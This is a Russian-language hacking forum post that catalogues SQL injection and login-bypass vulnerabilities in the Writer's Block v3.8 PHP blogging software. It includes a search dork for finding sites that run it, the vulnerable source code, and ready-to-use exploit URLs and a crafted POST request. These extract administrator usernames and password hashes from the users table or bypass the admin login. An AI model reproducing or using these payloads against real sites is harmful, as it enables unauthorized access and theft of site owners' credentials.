Уязвимости Writer's Block v3.8 download: http://www.desiquintans.com/writers-block/downloads/writersblock-current.zip dork: "Published by Writer’s Block" SQL-injection 1) archive.php (требования: magic_quotes=off) уязвимый код: PHP: if(isset($_GET['cat'])) { ## Check if category exists $check = strpos($_GET['cat'], '+'); //это, какбе, защита от инъекций, походу =) $check .= strpos($_GET['cat'], '%20'); // if(!$check) { $getinfo = mysql_query("SELECT PCatID, PostCatName, PostDesc FROM ".POSTCAT_TBL." WHERE PostCatUrl='".$_GET['cat']."'"); } эксплуатирование: Code: archive.php?cat=-1'/**/union/**/select/**/1,concat_ws(0x3a,UserName,Password),3/**/from/**/wb_users/* 2) /admin/cat.php (требования: доступ в админ панель) уязвимый код: PHP: elseif ($_GET['action'] == 'edit') { if (isset($_GET['PCatID'])) { ## Edit post category $pagetitle = 'Edit Post Category'; include ('include/head.htm'); $retrieve = mysql_query ("SELECT * FROM ".POSTCAT_TBL." WHERE PCatID=".$_GET['PCatID']); эксплуатирование: в этой инъекции мк=офф уже не обязательно, но в админку еще попасть надо =)... Code: admin/cat.php?action=edit&PCatID=1+union+select+1,2,3,version(),5-- Bypass (требования: magic_quotes=off) уязвимый код: /admin/login.php PHP: if($_POST['login']) { $error = NULL; if(empty($_POST['username']) or strpos($_POST['username'], ' ')) { $u = FALSE; $error .= '<p align="center"><img src="include/img/failure.png" width="16" height="16" alt="" /> Invalid username.</p>'; } else { $u =& $_POST['username']; } if(empty($_POST['password']) or strpos($_POST['password'], ' ')) { $p = FALSE; $error .= '<p align="center"><img src="include/img/failure.png" width="16" height="16" alt="" /> Invalid password.</p>'; } else { $p =& $_POST['password']; } if($u and $p) { $get_user_auth = mysql_query("SELECT UserID, UserName, Password FROM ".USERS_TBL." WHERE UserName='$u' AND Password='".md5($p)."'"); эксплуатирование: идем в /admin/login.php и вбиваем: Username:'/**/or/**/1=1/* Password:<any symbols without space>
Version: 3.8 SQL Injection Vuln file: articles.php PHP: /*...*/ if(isset($_GET['page'])) { ## Check if the Anypage exists $check = strpos($_GET['page'], '+'); $check .= strpos($_GET['page'], '%20'); if(!$check) { $showpage = mysql_query("SELECT Title, Subheading, PageDesc, PageBody, AnyCat1, AnyCat2, AnyCat3, AnyCat4, Author, Timestamp FROM ".ANYPAGE_TBL." WHERE UrlName='".$_GET['page']."'"); } /*...*/ Exploit: Code: http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/articles.php?page=1[COLOR=White]'+union+select+null,concat_ws(0x3a,UserName,Password),null,null,null,null,null,null,null,null+from+wb_users+where+UserID=1+--+[/COLOR] Vuln file: permalink.php PHP: /*...*/ $comment_sent = mysql_query("INSERT INTO ".COMMENTS_TBL." (PostID, Name, Email, Url, Body, Timestamp) VALUES ('".$_POST['PostID']."', '".strip_tags($_POST['name'])."', '".strip_tags($_POST['email'])."', '$url', '".nl2br($comment)."', '".time()."')"); /*...*/ Exploit: Code: POST http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/permalink.php HTTP/1.0 Content-type: application/x-www-form-urlencoded PostID=1 &name=Antichat.ru &[email protected] &url=xek[COLOR=White]',(select concat_ws(0x3a,UserName,Password) from wb_users where UserID=1),'A')/*[/COLOR] &comment=Hello World &submit=Say%20this смотрим логин:хэш админа в комментах Для успешной эксплуатации уязвимостей необходимо: magic_quotes = OFF